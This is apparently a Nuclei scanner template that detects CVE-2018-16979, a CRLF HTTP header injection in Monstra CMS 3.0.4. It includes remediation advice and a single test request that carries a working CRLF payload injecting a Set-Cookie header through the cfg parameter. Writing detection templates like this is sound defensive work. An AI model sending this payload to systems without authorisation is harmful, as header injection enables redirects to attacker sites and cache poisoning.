id: CVE-2018-16979

info:
  name: Monstra CMS 3.0.4 - HTTP Header Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.
  remediation: |
    Upgrade Monstra CMS to version 3.0.5 or later to mitigate the HTTP Header Injection vulnerability.
  reference:
    - https://github.com/howchen/howchen/issues/4
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16979
    cwe-id: CWE-113
    epss-score: 0.00118
    epss-percentile: 0.45103
    cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: monstra
    product: monstra
  tags: cve,cve2018,crlf,mostra,mostracms,cms

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'new line detected in'
          - 'cryptographp.php'
        condition: and

      - type: status
        status:
          - 200